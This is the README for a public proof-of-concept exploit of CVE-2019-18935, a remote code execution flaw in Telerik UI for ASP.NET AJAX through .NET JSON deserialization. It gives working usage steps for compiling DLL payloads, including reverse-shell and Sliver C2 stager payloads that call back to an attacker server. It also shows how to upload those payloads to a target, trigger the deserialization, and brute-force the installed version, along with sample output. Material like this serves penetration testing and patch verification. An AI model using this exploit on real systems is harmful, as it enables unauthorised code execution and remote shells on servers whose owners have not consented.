CVE-2019-18935

Proof-of-concept exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX allowing remote code execution.

Description

Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. For more information, see:

• The DerpCon talk .NET Roulette (slides) which details extra fundamentals about exploiting insecure deserialization, applies that to this exploit, and walks through some tips and tricks for getting shells on ASP.NET web applications.
• The full write-up at Bishop Fox, including a complete walkthrough of this vulnerability and exploit details for this issue (along with patching instructions).

Getting started

Prerequisites

You'll need Visual Studio and .NET Framework SDK installed to compile mixed-mode .NET assembly DLL payloads using build-dll.bat.

Install

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

This exploit leverages encryption logic from RAU_crypto. The RAUCipher class within RAU_crypto.py depends on PyCryptodome, a drop-in replacement for the dead PyCrypto module. PyCryptodome and PyCrypto create problems when installed in the same environment, so the best way to satisfy this dependency is to install the module within a virtual environment, as shown above.

Configure

Point line 17 of build-dll.bat to the path of your Visual Studio installation.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Usage

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compile mixed mode .NET assembly DLL payload

Some payloads (e.g., reverse-shell.c and sliver-stager.c) require you to set the HOST and PORT fields to point to your C2 server—be sure to do that!

In a Windows environment with Visual Studio installed, use build-dll.bat to generate 32- and 64-bit mixed mode assembly DLLs to be used as a payload during deserialization. You may optionally specify a target CPU architecture as a second CLI argument (e.g., x86).

build-dll.bat sleep.c

Upload payload to target, and load payload into application

Pass the DLL generated above to CVE-2019-18935.py, which will upload the DLL to a directory on the target server (provided that the web server has write permissions in that directory) and then load that DLL into the application via the insecure deserialization exploit.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

In the example above, the application took at least 10 seconds to respond, indicating that the DLL payload successfully invoked Sleep(10000).

Brute-force Telerik UI version

As detailed in the DerpCon talk .NET Roulette (39:46), we can brute-force the Telerik UI version by specifying only the major version of the Telerik.Web.UI assembly (i.e., the 2017 portion of the full version string 2017.2.503.40) when uploading a file. This technique drastically reduces the search space when compared to brute-forcing each specific release of this software—and, as an added benefit, it can even detect versions that aren't explicitly listed in the release history for this software. Learn more about .NET assembly versioning on MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Implant with Sliver C2 framework

The custom Sliver stager payload sliver-stager.c receives and executes Sliver shellcode (the stage) from the Sliver server (the staging server), following Metasploit's staging protocol. For more details on how this works, read the header in the payload source.